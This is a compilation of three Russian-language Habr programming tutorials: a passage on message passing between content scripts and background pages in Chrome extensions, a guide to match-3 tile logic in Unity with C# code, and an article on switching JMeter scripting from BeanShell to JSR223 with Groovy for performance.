> *Как установить*: 1) скачать архив, 2) распаковать (или сразу инсталлировать), 3) на chrome://extensions/ перейти в «режим разработчика», 4) выполнить «Загрузить распакованное расширение...», выбрав каталог из архива, 5) обновить страницу, с которой загружалось расширение. 5 ссылок готовы к выполнению примеров. После выполнения достаточно удалить скрипт средствами chrome://extensions/. *Этот скрипт примеров может быть использован как каркас для тестирования или написания расширений. Для данной статьи он помог отладить скрипты из текста и устранить из них опечатки.*
**Пример 1.**
Если надо **отправить из таба в фоновую страницу** и на этом закончить, используется простой формат сообщений:
```
chrome.extension.sendMessage('некий объект в фон');
```
Принимается сообщение в фоновой или любой другой странице:
```
chrome.extension.onMessage.addListener(function(request){
if(request=='некий объект в фон') //проверяется, от того ли окна и скрипта отправлено
console.log('1. Принято: ', request);
});
```
**Пример 2.**
Эта пара функций приспособлена для обмена обратным сообщением. Добавляем параметров, из скрипта:
```
chrome.extension.sendMessage('запрос backMsg', function(backMessage){
console.log('2. Обратно принято из фона:', backMessage);
});
```
из фоновой страницы:
```
chrome.extension.onMessage.addListener(function(request, sender, f_callback){
if(request=='запрос backMsg'){ //проверяется, от того ли окна и скрипта отправлено
console.log('2. прошло через фон: ', request);
f_callback('backMsg'); //обратное сообщение
}
});
```
f\_callback — выполняется в скрипте (не в фоновой странице), но с параметром, заданным в фоновой.
Объект sender имеет вид:
```
{ active: true
highlighted: true
id: 34 //id страницы (вкладки) Хрома
incognito: false
index: 0
pinned: false
selected: true
status: "complete"
title: "HabrAjax by spmbt" //document.title
url: "http://spmbt.kodingen.com/habrahabr/habrAjax/index.htm" //location.href
windowId: 1 //id окна Хрома
}
```
Таким образом, из него кое-что известно о том, кто отправил сообщение. Сейчас не будем использовать значений из sender, но возможно отслеживание, из какого таба или окна пришло сообщение, рассылать изменения в другие контентные скрипты, если они есть в других табах.
***(конец примера 2)***
Если надо передать что-то посложнее — нет проблем встроить хеш или массив вместо строки. Передача хеша вместо набора аргументов — вообще, более продвинутая форма обмена — занимает 1 аргумент, читается легче, так как самодокументирован ключами, значения хеша переставляются и удаляются элементарно — не нужно помнить порядок и беспокоиться об отсутствующих значениях.
С техникой замены аргумента на хеш 3 аргументов хватит на всё, и каждый из них выполняет свою роль. Идя дальше, их можно было бы заменить 1 аргументом, с ключами {request:..., sender:..., callback: f(){...}}; почему не сделали? Видимо, посчитали, что 3 аргумента — это ещё такой джентльменский предел, который не зазорно предлагать к запоминанию (и к дальнейшей расшифровке). К тому же, на самодокументацию тратятся символы. Когда аргументов 2-3, выбор склоняется в сторону позиционных аргументов.
Например, нужно отправлять не только имя команды, но и хеш с данными. Пишем из скрипта:
```
var data ='From page ';
chrome.extension.sendMessage({cmd:'exec1', h:{data1: data, dataX: d+1}, function(backMessage)
console.log(backMessage);
}});
```
из фоновой страницы:
```
chrome.extension.onMessage.addListener(function(request, sender, callback){
if(request.cmd =='exec1'){
callback('backMsg'); //обратное сообщение
console.log('Tis message in background page printed after'
+' receive of data1 = ', request.h.data1, '; URL= ',sender.url);
});
```
Укоротим часто повторяющиеся вызовы из контентных страниц:
```
var inBg = function(cmd, h, f_back){
h.cmd = cmd;
chrome.extension.sendMessage(h, f_back);
});
...
inBg('exec1', {data1: data, dataX: d+1}, function(){
...
});
```
*(Третьего коллбека *почему-то* не предусмотрено… Управление перебрасывается только 2 раза.)*
### Отправляем сообщение из фоновой страницы в окно (Chrome)
**Пример 3.**
Если стоит **обратная задача**, отправить сообщение из фоновой страницы в, допустим, активный таб:
в фоновой пишем:
```
chrome.tabs.getSelected(null, function(tab){ //выбирается ид открытого таба, выполняется коллбек с ним
chrome.tabs.sendRequest(tab.id,{msg:"msg01"}); //запрос на сообщение
});
```
в контенте:
```
chrome.extension.onRequest.addListener(function(req){ //обработчик запроса из background
console.log('3. Принято из фона:', req.msg); //выведется переданное сообщение
});
```
Принципиально ли то, что в первом случае использовали пару **sendMessage-onMessage**, а во втором — **sendRequest-onRequest**? Нет, работает любой метод, лишь бы он был из одной пары.
**Пример 4.**
Если нужно отправить сообщение с обратным коллбеком, в фоновой пишем:
```
var inBack = function(tabId, cmd, h, f_back){
h.cmd = cmd;
chrome.tabs.sendMessage(tabId, h, f_back);
};
chrome.tabs.getSelected(null, function(tab){
inBack(tab.id,'exec0', {dat:'h'}, function(backMessage){
console.log('4. Обратный приём из контента: ', backMessage);
});
});
```
На контент-странице:
```
chrome.extension.onMessage.addListener(function(request, sender, callback){
if(request.cmd =='exec0'){ //выполнить
console.log('4. из фона:', request.dat);
callback('12w3');
}
});
```
Выполняется, как видно — всё, что было описано в документации, но для немного другого объекта (chrome.runtime), на [developer.chrome.com/extensions/messaging.html](http://developer.chrome.com/extensions/messaging.html), а chrome.runtime в данной задаче не работает — не имеет метода sendMessage.
### Передача на стандартном postMessage (не выполнена)
Несмотря на отрицательный результат, эта попытка передачи подскажет догадки о том, почему разработчикам пришлось заняться собственными функциями передачи данных в расширениях, несмотря на наличие *postMessage*.
Один из немногих выполнимых в контентном скрипте особых методов расширений — *chrome.extension.getURL('путь')*. Он возвращает путь к ресурсам расширения. Открыв его, получим ресурсы расширения (но не к каталогам) — картинки и тексты из него. Иной домен и здесь сыграет свою роль: чтобы получить тексты в окружение скрипта страницы, нужно делать кроссдоменный Ajax. Или поступить проще — получить тексты через стенку домена механизмом сообщений.
**Пример 5.**
Передадим сообщение, используя определившийcя протокол («chrome-extension:») с доменом (что-то вида "//ciegcibjokpkcklhgbpnmnikpkmkhbjk").
```
var bgUrl = chrome.extension.getURL('');
console.log(bgUrl); //удовлетворение любопытства
```
Но не всё просто. Доступа к окну фоновой страницы у контентного скрипта нет. Метод есть:
```
chrome.extension.getBackgroundPage();
```
Но доступа нет:
Uncaught Error: «getBackgroundPage» can only be used in extension processes. See the content scripts documentation for more details.
Коммандо не унывает. Для простого обмена ведь надо создать фрейм. Ничего не мешает создать фрейм.
```
var ifr = document.createElement('iframe');
ifr.id ='ifr1';
ifr.src = bgUrl;
document.body.appendChild(ifr);
```
Возникла ошибка:
Denying load of [chrome-extension://ciegcibjokpkcklhgbpnmnikpkmkhbjk/](http://chrome-extension://ciegcibjokpkcklhgbpnmnikpkmkhbjk/). Resources must be listed in the web\_accessible\_resources manifest key in order to be loaded by pages outside the extension.
Добавляем разрешение в манифест (а при chrome.extension.sendMessage этого было не нужно).
«permissions»:[«chrome-extension://\*», ...]
Возникла ошибка на chrome://extensions/:
При установке расширения возникли предупреждения:
Permission 'chrome-extension://' is unknown or URL pattern is malformed.
Если бы доступ не был запрещён, осталось бы выполнить
```
ifr.postMessage('Yep', bgUrl.replace(/\/$/,'') );
```
и в фоновой —
```
window.addEventListener('message', function(ev){
console.log('origin: ', ev.origin);
},!1);
```
На этом пример можно закончить — он показал, что доступ через штатную функцию закрыли по другим причинам — из-за необходимости просмотра фоновых страниц в фреймах, чего по безопасности, видимо, было недопустимо (в «manifest\_version»: 2). Поэтому в расширениях Chrome, но также и по соображениям оптимизации синтаксиса и двунаправленного обмена, были придуманы специальные методы обмена сообщениями.
Пример показал, что особых фокусов в передаче сообщений в фоновую страницу нет. Но нужны особые разрешения, которых для расширений не имеем. Закрытая часть методов объекта chrome.extension это спокойно делает, но другим не даёт. (Нужно попытаться ещё проделать это через sandbox.html — разрешит ли она создать в себе фрейм с фоновой страницей.)
[На установку тестового расширения и тестовую страницу.](http://spmbt.kodingen.com/bgMessageXmp/index.htm) | https://habr.com/ru/post/174745/ | null | ru | null |
# Создание игры Match-3 в Unity
Несколько лет назад на [SeishunCon](http://seishun-con.com/) я заново открыл для себя игры match-3. Я играл в Dr. Mario детстве, но такие более соревновательные игры, как *Magical Drop*, *Bust-A-Move* и *Tokimeki Memorial Taisen Puzzle-Dama*, сильно отличаются от неё.
*Dr. Mario*
В результате я осознал, как много нейтральных решений связано с созданием игры match-3.
На следующем джеме Ludum Dare я решил поэкспериментировать, но сначала за неделю до этого для разогрева попробовал разработать алгоритм «Тетриса», обнаруживающий и удаляющий линии. Мне очень помог [этот туториал Unity Plus](http://unityplus.blogspot.com/2014/06/tetris-game-tutorial-part-1.html). *[Прим. пер.: у меня ссылка не открывается. Если вы знаете, как решить проблему, напишите мне, я дополню статью.]* Разумеется, алгоритм «Тетриса» для поиска заполненных рядов гораздо проще, чем алгоритм, выискивающий разнообразные сочетания совпадающих тайлов.
Если вы хотите изучить эти примеры кода в контексте, то зайдите в мой [репозиторий Ludum Dare 30](https://bitbucket.org/dylanwolf/ludumdare30). (Для бесстыдной саморекламы я снова использовал эту логику для игры [Shifty Shapes](https://play.google.com/store/apps/details?id=com.FuncWorks.ShiftyShapes).)
Два мира
--------
*Magical Drop 3 (источник: [Kazuya\_UK](http://www.neogeoforlife.com/viewpage.php?page_id=68))*
Самая мудрёная часть создания игры-головоломки в Unity заключается в том, что игра не живёт в пространстве мира. Во всяком случае, живёт не полностью.
В этом её отличие от других жанров. Платформеры, например, почти полностью живут в игровом мире Unity. Transform игрока сообщает о его положении. Коллайдеры (или, в некоторых случаях, raycast) говорят, находится ли игрок на земле, ударяется ли об потолок или столкнулся с врагом. Даже если вы не используете внутриигровую физику, то всё равно, скорее всего, добавляете силу или указываете скорость Rigidbody, чтобы обеспечить распознавание столкновений без затрат.
Игры-головоломки совсем другие. Если в вашей игре нужно щёлкать мышью, то она наверно получает какие-то координаты в пространстве мира, но их обычно преобразовывают в ячейку сетки, которая полностью живёт в коде. Для этого есть понятная причина: гораздо проще создать логику для такой игры как Tetris или Dr. Mario, когда работаешь не с отдельными пикселями, а с блоками или тайлами.
*Блоки «Тетриса» определённо не должны прилипать к стенкам стакана*
На самом деле, в своих экспериментах я стремился как можно больше придерживаться пространства мира. Я использовал физику для определения «приземления» тайлов и передавал данные в двухмерный массив только для определения заполнения строки. Это казалось более безопасным: в конце концов, то, что происходит в игровом мире *реально*. Именно это видит игрок, поэтому если хранить данные тут, то нет риска рассинхронизации, правда?
Я ошибался. Как бы я ни пытался настроить систему, она просто не работала правильно.
Туториал Unity Plus, ссылку на который я дал выше, оказал мне огромную помощь. Как минимум, он показал, что правильным подходом был полный перенос логики из игрового мира в абстрактную структуру данных. Если вы ещё этого не сделали, то хотя бы вкратце просмотрите его, потому что в этой статье я расширю логику «Тетриса» до логики match-3.
Преобразование из поля в пространство мира
------------------------------------------
Как только я понял, что этот переход удобен, остальное было простым. Я создал класс GameTile, отслеживающий цвет, строку и столбец тайла, и на его основании обновлял положение тайла. Вот его сокращённая версия:
```
public class GameTile : MonoBehaviour {
private Transform _t;
private SpriteRenderer _s;
[System.NonSerialized]
public int TileColor;
[System.NonSerialized]
public int Row;
[System.NonSerialized]
public int Column;
void Awake () {
_t = GetComponent();
\_s = GetComponent();
}
Vector3 tmpPos;
public void UpdatePosition()
{
tmpPos = \_t.position;
tmpPos.x = (Column \* Board.TileSize) - Board.WorldOffset;
tmpPos.y = (Row \* Board.TileSize) - Board.WorldOffset;
\_t.position = tmpPos;
\_s.sprite = Board.Current.Textures[TileColor];
}
```
*Тайлы в сетке*
Заметьте, что в этом случае TileSize является константой, определяющей размер тайла в единицах Unity. Я использую тайлы размером 64×64 пикселя, а спрайт в Unity имеет разрешение 100 пикселей на единицу, поэтому TileSize оказывается равным 0.64. Также я использую постоянное смещение, чтобы середина поля 7×7 находилась в координатах 0,0 пространства мира, а левый нижний угол являлся тайлом 0, 0 в игровом пространстве.
Также я создал массив, определяющий игровое поле как статичное поле (static field) в классе Board. (Board сначала был статичным классом, а потом превратился в синглтон (singleton), потому что мне нужно было изменять значения в редакторе, поэтому он неуклюже сочетает в себе черты игрового объекта и статичного класса.)
```
public const float TileSize = 0.64f;
public const float WorldOffset = 1.92f;
public const int BoardSize = 7;
public static GameTile[,] Tiles = new GameTile[BoardSize, BoardSize];
```
В туториале Unity Plus двухмерный массив использовался для хранения целых чисел, я же решил хранить в этом массиве ссылки на мои объекты GameTile. Это позволило мне передавать данные от тайлов и к ним напрямую (как вы увидите позже), что упростило удаление тайлов и создание анимации.
При внесении изменений в состояние игрового поля мне нужно было просто пройти циклом по всему массиву поля и сообщить каждому тайлу, где он должен находиться:
```
public static void UpdateIndexes(bool updatePositions)
{
for (int y = 0; y < BoardSize; y++)
{
for (int x = 0; x < BoardSize; x++)
{
if (Tiles[x,y] != null)
{
Tiles[x, y].Row = y;
Tiles[x, y].Column = x;
if (updatePositions)
Tiles[x, y].UpdatePosition();
}
}
}
}
```
Заметьте, что в каждом случае мы выполняем преобразование из абстрактного игрового пространства в пространство мира. Игровые объекты Unity не хранят сами важную информацию о состоянии игры, они всегда являются только отображением этого состояния.
… и обратно
-----------
В моей игре был *единственный* случай, когда нужно было выполнять преобразование из мира в игровое пространство: когда игрок щёлкал мышью на пустое пространство, чтобы бросить на поле тайл. Для этой задачи я создал большой коллайдер под всем игровым полем и прикрепил к нем следующий скрипт:
```
void OnMouseDown()
{
if (GameState.Mode == GameState.GameMode.Playing)
{
mouseClick = Camera.main.ScreenToWorldPoint(Input.mousePosition);
mouseX = (int)Mathf.Round ((mouseClick.x + WorldOffset) / TileSize);
mouseY = (int)Mathf.Round ((mouseClick.y + WorldOffset) / TileSize);
PutNextTile(mouseX, mouseY);
Soundboard.PlayDrop();
GameState.ActionsTaken++;
}
}
```
Вот, собственно, и всё. Заметьте, что в сущности в нём выполняется действие, обратное UpdatePosition(), где игровое пространство преобразуется в пространство мира.
Распознавание и удаление совпавших тайлов
-----------------------------------------
*Удаление совпавших тайлов*
Это самая хитрая часть. Наверно, именно ради этого вы читаете статью.
Горизонтальное совпадение (как в «Тетрисе») реализовать довольно просто: нужно всего лишь искать смежные тайлы в одной строке. Даже добавление горизонтальных *или* вертикальных совпадений (как в Dr. Mario) является просто вариацией этой темы. Однако отслеживание набора смежных тайлов в одновременно горизонтальном *и* вертикальном направлении потребует рекурсии.
При каждом действии, изменяющем игровое поле, мы запускаем проверку. Первое, что мы делаем — копируем весь массив поля в другой массив:
```
static void CopyBoard(GameTile[,] source, GameTile[,] destination)
{
for (int y = 0; y < BoardSize; y++)
{
for (int x = 0; x < BoardSize; x++)
{
destination[x, y] = source[x, y];
}
}
}
static bool clearedTiles = false;
public static void MatchAndClear(GameTile[,] board)
{
clearedTiles = false;
// Создаём копию поля для проверки
CopyBoard(board, toTest);
// Продолжение ниже...
```
Зачем? Мы увидим позже, что так будет *гораздо* проще определить, какие тайлы мы проверяли.
Мы начинаем процесс с «грубого» перебора. Пройдём от ячейки к ячейке (сначала строки, потом столбцы), проверяя каждую ячейку. Для каждой проверки мы сбрасываем некоторые переменные, используемые для отслеживания проверки, а затем вызываем отдельную функцию (которую позже применим для рекурсии):
```
// Продолжение MatchAndClear()...
currentTile = null;
collector.Clear ();
for (int y = 0; y < BoardSize; y++)
{
for (int x = 0; x < BoardSize; x++)
{
TestTile (x, y);
// Продолжение ниже...
```
Давайте рассмотрим эту функцию TestTile:
```
static void TestTile(int x, int y)
{
// Тайл уже проверен, пропускаем
if (toTest[x,y] == null)
{
return;
}
// Начинаем проверять блок
if (currentTile == null)
{
currentTile = toTest[x, y];
toTest[x, y] = null;
collector.Add(currentTile);
}
// ** Пропущенные строки - мы вернёмся к ним позже **
// Если мы обрабатываем этот тайл, то проверяем все тайлы вокруг него
if (x > 0)
TestTile(x - 1, y);
if (y > 0)
TestTile(x, y - 1);
if (x < Board.BoardSize - 1)
TestTile(x + 1, y);
if (y < Board.BoardSize - 1)
TestTile(x, y + 1);
}
```
Если функция обнаруживает, что ячейка имеет значение null, то пропускает её. Ячейка с null означает, что она или пуста, или мы уже тестировали её. (Именно поэтому мы скопировали её в отдельный массив — так проще произвольно манипулировать новым массивом.)
Если ячейка имеет значение, то мы делаем следующие действия. Во-первых, мы запоминаем её как «текущую» ячейку, ту, которая находится на вершине рекурсивной цепочки. Затем мы удаляем её из копии игрового поля, чтобы не проверять дважды. Также добавляем её в список (List), чтобы запомнить, сколько смежных тайлов одного цвета мы нашли.
Есть два состояния, которые могут возникнуть позже в рекурсии, но мы поговорим о них потом. Проверив ячейку, мы берём четыре ячейки вокруг неё и выполняем для них ту же проверку.
«Текущая» ячейка уже установлена, и это значит, что мы не на первом уровне рекурсии. В этих вызовах функций у нас есть три варианта для каждой ячейки.
Во-первых, ячейка может быть null, и это снова значит, что мы уже проверяли её, или она пуста. И в этом случае мы снова ничего не делаем.
Во-вторых, ячейка может не совпадать с «текущей» ячейкой. В этом случае мы не считаем её «проверенной». Наша рекурсия проверяет наличие одного набора смежных тайлов одного цвета. Только потому, что этот тайл не является частью текущего набора, не значит, что он не является частью какого-нибудь другого.
```
// Из TestTile() выше...
// Тайл не совпадает, пропускаем
else if (currentTile.TileColor != toTest[x, y].TileColor)
{
return;
}
```
В-третьих, ячейка может быть того же цвета, что и «текущая» ячейка. В таком случае, она «проверена», поэтому мы устанавливаем ей значение null в копии игрового поля. Также мы добавляем её в List, который используем как накопитель. Это одно из состояний, которое мы пропустили в примере выше:
```
// Из TestTile() выше...
// Тайл совпадает
else
{
collector.Add(toTest[x, y]);
toTest[x, y] = null;
}
```
Функция продолжит выполнять рекурсию, пока не закончатся все варианты, добравшись или до пустой ячейки, или до конца поля. В этот момент мы возвращаемся в основной цикл грубого перебора для обработки результатов.
Если в накопителе есть больше трёх тайлов, то мы нашли совпадение. Если нет, то мы проверили один или два тайла, но нам не нужно выполнять никаких действий:
```
// Продолжение из MatchAndClear() выше...
if (collector.Count >= 3)
{
foreach (GameTile tile in collector)
{
ClearTile(tile.Column, tile.Row);
clearedTiles = true;
Soundboard.PlayClear();
}
}
currentTile = null;
collector.Clear ();
}
}
if (clearedTiles)
{
SettleBlocks(board)
}
}
```
Здесь, как мы рассмотрим позже, я просто включаю анимацию. Простейший подход, однако, заключается в том, чтобы пройти циклом по нашему накопителю и вызвать DestroyObject для игрового объекта каждого совпадающего тайла. Так мы убьём двух зайцев одним выстрелом: избавимся от внутриигровых объектов и присвоим ячейкам в состоянии игрового поля значение null.
Падение тайлов
--------------
*Падающий тайл*
Определённые изменения — например, падение тайла или удаление тайлов, в этом случае — оставляют тайлы без опоры, и этот случай нужно разрешить (конечно, если это требуется по правилам вашей игры). И на самом деле это довольно простой алгоритм.
Теперь мы проходим столбец за столбцом, а затем строку за строкой. Порядок здесь важен.
В каждом столбце мы проходим снизу вверх, пока не находим пустую ячейку. Затем мы помечаем её. Следующий найденный тайл мы просто смещаем вниз, в это положение, и добавляем единицу к индексу «пустой ячейки»:
```
static int? firstEmpty;
public static void SettleBlocks(GameTile[,] board)
{
for (int x = 0; x < BoardSize; x++)
{
firstEmpty = null;
for (int y = 0; y < BoardSize; y++)
{
if (board[x, y] == null && !firstEmpty.HasValue)
{
firstEmpty = y;
}
else if (firstEmpty.HasValue && board[x, y] != null)
{
board[x, firstEmpty.Value] = board[x, y];
board[x, y] = null;
firstEmpty++;
}
}
}
UpdateIndexes(false);
}
```
После завершения нужно не забыть снова вызвать функцию проверки совпадений. Очень вероятно, что падающие тайлы создали пустые строки.
На самом деле, если в игре ведётся счёт, то это упростит отслеживание комбо или множителей очков. Все эти повторения падений и удаления блоков являются рекурсиями того первого вызова, запущенного действием игрока. Мы можем понять, сколько всего совпадений возникло после действия игрока и какое количество уровней «цепочек» потребовалось для каждого действия.
Анимации
--------
Игра уже работает, но пока она не понятна интуитивно, в основном из-за отсутствия анимаций. Тайлы исчезают, а затем появляются на нижних строках. Сложно понять, что происходит, если не следить внимательно.
Это тоже сложный момент. Игровые объекты всегда являются отражением состояния игры, поэтому тайлы постоянно расположены в сетке. Тайлы всегда занимают то или иное место: тайл может быть в строке 1 или 2, но никогда — в строке 1,5.
В чём заключается сложность? Нам нельзя одновременно *манипулировать игровым полем* и *анимацией*. Вспомните, как работает «Тетрис» или Dr. Mario — следующий тайл не падает, пока все тайлы на поле не «улягутся». Это даёт игроку короткую передышку, а также гарантирует отсутствие непредвиденных состояний и взаимодействий.
Кстати, при начале нового проекта я рекомендую создавать перечисление (enumeration) «игровых состояний». Мне никогда не приходилось писать игру, в которой не нужно было знать состояние игры: сам процесс игры, пауза, отображение меню, диалоговое окно, и так далее. Лучше всего спланировать состояния на ранних этапах разработки, таким образом можно сделать так, чтобы *каждая* написанная вами строка кода проверяла, должна ли она выполняться в текущем состоянии.
Признаюсь, что моя реализация неуклюжа, но в целом идея такова: при удалении или падении тайла мы задействуем изменение состояния. Каждый объект GameTile знает, как обрабатывать это изменение состояния, и, что более важно, знает, когда нужно сообщать игровому полю, что он завершил свою анимацию:
```
void Update () {
if (GameState.Mode == GameState.GameMode.Falling && Row != LastRow)
{
targetY = (Row * Board.TileSize) - Board.WorldOffset;
tmpPos = _t.position;
tmpPos.y -= FallSpeed * Time.deltaTime;
if (tmpPos.y <= targetY)
{
Board.fallingBlocks.Remove(this);
UpdatePosition();
Soundboard.PlayDrop();
}
}
}
```
После завершения анимации удаления игра должна проверить наличие падающих тайлов:
```
private static float timer;
private const float DisappearTimer = 0.667f;
void Update()
{
if (GameState.Mode == GameState.GameMode.Disappearing)
{
timer -= Time.deltaTime;
if (timer <= 0)
{
GameState.Mode = GameState.GameMode.Playing;
SettleBlocks(Tiles);
}
}
```
После завершения анимации падения нужно проверить наличие совпадений:
```
if (GameState.Mode == GameState.GameMode.Falling && fallingBlocks.Count == 0)
{
GameState.Mode = GameState.GameMode.Playing;
MatchAndClear(Tiles);
}
}
```
Этот цикл повторяется, пока у нас не останется больше совпадений, после чего игра может возвращаться к своей работе. | https://habr.com/ru/post/329016/ | null | ru | null |
# JMeter: забудьте про BeanShell Sampler
С помощью стандартных элементов тест-плана в Jmeter можно сделать многое, но далеко не всё. Для расширения функциональности и реализации более сложной логики принято использовать BeanShell Sampler — как-то во всём мире так исторически сложилось. И во всём мире от этого периодически страдают, но продолжают есть кактус.
#### Как же без него?
В принципе для достижения наилучших результатов с точки зрения производительности самой нагрузочной станции эффективнее всего будет реализовать свой Java Request или даже написать собственный сэмплер. Но лично мне такое решение не нравится из-за:
* б**о**льших трудозатрат на разработку решения;
* непрозрачной поддержки решения (код лежит в другом месте, его нужно перекомпилировать при помощи дополнительных действий);
* возможной потери бонусов, которые даёт JMeter (например, если у вас в коде реализован запрос в СУБД, а потом HTTP-запрос, то увидите вы в статистике их в сумме, а не по отдельности).
Так что я всегда старался избегать такого решения (и пока избежал!). Мне лично нравится, когда код находится в самом тест-плане, причём можно отследить время на выполнение этого кода средствами JMeter. В этом смысле сам подход BeanShell сэмплера весьма удобен, плоха лишь его реализация. Расскажу почему.
#### Чем плох BeanShell Sampler
Однажды мы разрабатывали высоконагруженный тест-план, использующий вставки кода в BeanShell Sampler. На этапе разработки всё шло прекрасно, но когда мы начали пробные запуски нагрузочных тестов, то столкнулись с очень неприятным поведением. На определённом количестве потоков всё работало нормально. Но при увеличении числа потоков начинался какой-то неадекват. Тест сильно недобирал в целевой интенсивности нагрузки, а отчёты показывали, что время обработки отдельных сэмплеров BeanShell доходило до десятков секунд! Причём, сэмплеров BeanShell было довольно мало – один-два на тред-группу, и не сказать чтобы там происходило что-то сложное. Изучение параметров производительности самой нагрузочной станции не выявило каких-то проблем: загрузка CPU была процентов 20—30, памяти для процесса JMeter было достаточно и сборщик мусора своевременно её очищал. Ясно, что проблема в самом програмном коде JMeter'а или в реализации интерпретатора BeanShell. Игра с галкой Reset bsh.Interpreter ничего не даёт; мало того: в одном месте пишут, что лучше её поставить, чтобы не произошло перерасхода памяти, в другом — что из соображений производительности лучше снять.
Сообщения о подобных проблемах время от времени встречаются на форумах по JMeter и приходят в почтовой рассылке Apache JMeter User. Коллеги также жаловались на поведение некоторых тестов, но склонны были относить проблему к самому инструменту.
#### Что делать
В JMeter есть очень похожий сэмплер, который называется JSR223 Sampler. Даже не просто сэмплер, а целое семейство: Sampler, Timer, Pre- и PostProcessor, Assertion, Timer и Listener. [Документация](http://jmeter.apache.org/usermanual/component_reference.html#JSR223_Sampler) по нему начинается с очень ободряющих слов о том, что данный сэмплер позволит добиться значительного улучшения производительности. Но внимательного читателя тут же расстраивает: чтобы добиться этого эффекта следует выбрать скриптовый движок, который поддерживает компиляцию. Тут же, рядом, указано, что движок для Java таковым не является.
Касательно Java я скажу даже больше: она реализуется тем же самым движком, что и BeanShell. В этом легко убедиться, вызвав ошибку в выполняемом коде. В стеке исключений в логе вы увидите, что и там, и там вызывается интерпретатор bsh. Поэтому абсолютно никакой разницы между JSR223/java и BeanShell Sampler не будет. Про остальные движки ничего не сказано, но они также все интерпретируемые. Таким образом в стандартной поставке JMeter нет движков, на которых можно было бы получить профит от компиляции.
Единственным упомянутым в документации компилируемым скриптовым движком является [Groovy](http://groovy-lang.org/). Существуют и другие движки, поддерживающие JSR223. Я попробовал Scala, ужаснулся тому, как медленно работает эта связка и оставил эту тему до лучших времён. *(Примечание: дело тут, наверное, не в Scala, а в реализации стандарта JSR 223 и в имплементации интерфейса [Compilable](http://docs.oracle.com/javase/7/docs/api/javax/script/Compilable.html).)*
Чтобы включить поддержку Groovy, нужно скачать с [сайта проекта](http://groovy.codehaus.org/Download) или [здесь](http://mvnrepository.com/artifact/org.codehaus.groovy/groovy-all) последнюю версию бинарников. Из архива нам понадобится только один файл: embeddable\groovy-all-{version}.jar. Его нужно распаковать в папку lib Жиметра. После перезапуска программы в списке доступных языков JSR223 появится Groovy:
После того, как мы переделали все сэмплеры BeanShell нашего тест-плана на JSR223 + Groovy произошло прямо-таки чудо: всё стало работать как надо (ну или хотя бы как мы запрограммировали), без тормозов, а загрузка CPU стала даже ещё ниже. Время отклика сэмплеров JSR223 стало ниже на порядки и тест вышел на требуемую нагрузку.
#### Производительность Groovy
Если возвращаться к тому, с чего мы начинали – различным способам реализации дополнительной программной логики – то решения с Groovy должно хватить на почти все случаи, за исключением разве что тех, где нужно выжимать реально проценты. Скрипты Groovy компилируются в обычный байт-код Java и выполняются в контексте каждого потока так, как будто это родной Java-код (но надо помнить, что компилятор у него свой, и накладные расходы на вызов движка всё же есть). Ребята из Blazemeter [проводили сравнение](http://blazemeter.com/blog/beanshell-vs-jsr223-vs-java-jmeter-scripting-its-performance) скорости работы различных вариантов реализации и пришли к выводу, что код на Groovy лишь незначительно уступает по скорости коду на чистой Java.
Я также провёл небольшой эксперимент. Я написал небольшой фрагмент, выполняющие некие искусственные вычисления в целочисленной арифметике:
```
int i;
int s = Integer.parseInt(Parameters);
for (i = 1; i < 10000; i++)
{
s += i * (i % 2 * 2 - 1);
}
log.warn(s.toString());
```
Зависимость от входных данных (Parameters) и запись в лог добавлены на всякий случай, чтобы не дать всяким хитрым компиляторам и интерпретаторам оптимизировать код, исключив его выполнение вообще или закэшировав результат. Причём Parameters также был уникальным. На моём ноутбуке с Core i7 при 100 потоках по 1000 итераций каждый результаты получились такие:
| Имплементация | Throughput |
| --- | --- |
| BeanShell Sampler | ~20 / sec |
| JSR223 + (java | beanshell | bsh) | ~20 / sec |
| JSR223 + Groovy | ~13800 / sec |
Отрыв Groovy столь значителен, что в это даже с трудом верится, тем не менее, судя по логу, всё отработало корректно.
##### Java как подмножество Groovy
Большим плюсом Groovy является то, что в 95% случаев произвольный код Java является валидным кодом Groovy. Даже синтаксис BeanShell отстоит дальше от текущего стандарта Java (например, в BeanShell вам приходится извращаться, в случае вызова функций с произвольным числом аргументов). Если вы не заинтересованы в том, чтобы прямо сейчас осваивать все его возможности, то и не надо. С другой стороны, если [освоите](http://groovy-lang.org/documentation.html) — наверняка сможете повысить свою эффективность.
##### bsh.shared
Если в BeanShell вы пользовались глобальным пространством имён bsh.shared, то здесь возникает небольшая засада: в Groovy ничего подобного нет. К счастью, эту проблему легко решить своими силами. Для этого пишутся 10 строк кода:
```
import java.util.concurrent.ConcurrentHashMap;
public class SharedHashMap
{
private static final ConcurrentHashMap instance = new ConcurrentHashMap();
public static ConcurrentHashMap GetInstance()
{
return instance;
}
}
```
По сути это синглтон, который всегда (каждому потоку) вернёт один и тот же объект. Далее это собирается в jar и кладётся в папку lib Жиметра. Поскольку класс объявлен в глобальном пространстве имён (да, заслуживаю порицания за это), то в коде Groovy, без всяких import можно использовать SharedHashMap, чтобы что-нибудь туда положить:
```
// Получаем ссылку на глобальный hash map.
sharedHashMap = SharedHashMap.GetInstance()
// Кладём туда что-нибудь.
sharedHashMap.put('Counter', new java.util.concurrent.atomic.AtomicInteger())
```
Когда нужно забрать, то аналогично:
```
sharedHashMap = SharedHashMap.GetInstance() // *
counter = sharedHashMap.get('Counter')
counter.incrementAndGet()
//..
```
*\* в Groovy не обязательно объявление типов переменных, а также точки с запятыми.*
##### Миграция с BeanShell Sampler
Предположим, у вас уже есть тест-план в котором уже есть множество сэмплеров BeanShell, и вы нашли эту статью, потому что у вас возникла проблема. Вы хотите переключиться на использование Groovy. Подключение Groovy описано выше и займёт у вас не более пяти минут.
Прежде всего следует создать JSR223 Sampler и перенести в него код из BeanShell. Вы сможете существенно упростить себе жизнь, если сможете унифицировать код и выделить его в отдельный файл, указав его в поле File Name. Тогда вам останется просто вставить сэмплеры JSR223 в нужные места при помощи Copy/Paste. Если нет, копируйте в каждом случае код из BeanShell.
##### Ключ кэширования
Тут важно отметить, что JMeter будет компилировать код, введённый в самом сэмплере, только если указан ключ компиляции (поле Compilation Cache Key). Это должна быть просто строка, уникальная в пределах тест-плана. Для скриптов, подключаемых через файлы, ключ компиляции вводить не нужно, в качестве него используется полный путь к файлу.
##### Строки Java и Groovy
Есть одна тонкость в синтаксисе Groovy. Во-первых там есть два типа строк:
* в двойных кавычках — строки Groovy
* в одинарных кавычках — строки Java
